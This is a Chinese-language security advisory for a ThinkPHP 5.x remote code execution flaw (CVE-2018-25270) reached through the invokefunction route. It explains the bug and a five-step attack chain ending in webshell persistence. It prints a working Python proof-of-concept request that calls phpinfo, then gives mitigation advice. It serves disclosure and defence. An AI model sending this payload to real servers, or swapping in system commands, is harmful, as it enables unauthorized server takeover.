IPBUF安全漏洞报告
English
CVE-2018-25270 CVSS 9.8 严重

CVE-2018-25270 ThinkPHP远程代码执行漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2018-25270
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ThinkPHP

相关标签

远程代码执行RCEThinkPHPWeb漏洞无需认证

漏洞概述

ThinkPHP 5.0.23版本存在严重的远程代码执行漏洞。由于框架对路由参数的处理存在缺陷,攻击者无需身份认证即可通过构造特定的请求,利用路由机制调用`invokefunction`方法。该方法允许攻击者传递恶意函数名和参数,从而在服务器端执行任意系统命令或PHP代码,导致服务器被完全控制。

技术细节

该漏洞的核心在于ThinkPHP框架对控制器路由的解析机制。攻击者通过URL参数`s`指定路由路径,例如`/index/\think\app/invokefunction`,从而直接调用`\think\App`类的`invokefunction`方法。该方法接收`function`和`vars`两个参数,并将它们传递给PHP内置的`call_user_func_array`函数执行。由于框架未对`function`参数进行严格的白名单限制,攻击者可以将其设置为任意系统危险函数(如`system`、`exec`、`file_put_contents`等),并通过`vars`数组传递函数参数。这种利用方式不需要任何用户交互,即可绕过部分安全限制,实现命令执行或Webshell写入。

攻击链分析

STEP 1
侦察
攻击者通过网络扫描或资产发现,识别出目标网站使用的是ThinkPHP框架。
STEP 2
漏洞利用
攻击者构造包含恶意路由参数的HTTP请求,利用`s`参数指向`\think\app/invokefunction`。
STEP 3
代码注入
在请求中设置`function=call_user_func_array`,并将`vars`参数配置为执行系统命令(如`whoami`或写入Webshell)。
STEP 4
执行命令
服务器端接收请求,ThinkPHP框架解析路由并回调恶意函数,导致服务器执行攻击者指定的命令。
STEP 5
权限维持
攻击者利用执行权限上传木马文件,建立后门,获取服务器的持久控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 import requests def check_vuln(target_url): """ PoC for CVE-2018-25270 (ThinkPHP RCE via invokefunction) """ # The payload attempts to execute 'phpinfo()' # s=/index/\think\app/invokefunction # function=call_user_func_array # vars[0]=phpinfo # vars[1][]=1 payload = { "s": "/index/\\think\\app/invokefunction", "function": "call_user_func_array", "vars[0]": "phpinfo", "vars[1][]": "1" } try: # Sending GET request response = requests.get(target_url, params=payload, timeout=5) # Checking if phpinfo output is present in the response if response.status_code == 200 and "PHP Version" in response.text: print("[+] Target is vulnerable! RCE successful.") return True else: print("[-] Target appears not vulnerable or patched.") return False except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": url = input("Enter target URL (e.g., http://localhost/index.php): ") check_vuln(url)

影响范围

ThinkPHP 5.0.23
ThinkPHP 5.0.x < 5.0.24
ThinkPHP 5.1.x < 5.1.31

防御指南

临时缓解措施
若暂时无法升级,建议在`public/index.php`入口文件处添加过滤逻辑,检测`$_GET['s']`或`$_REQUEST`中是否包含`\think\app`、`invokefunction`等敏感字符串,一旦发现直接拦截请求。同时,配置服务器的重写规则,禁止访问非常规的URL路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表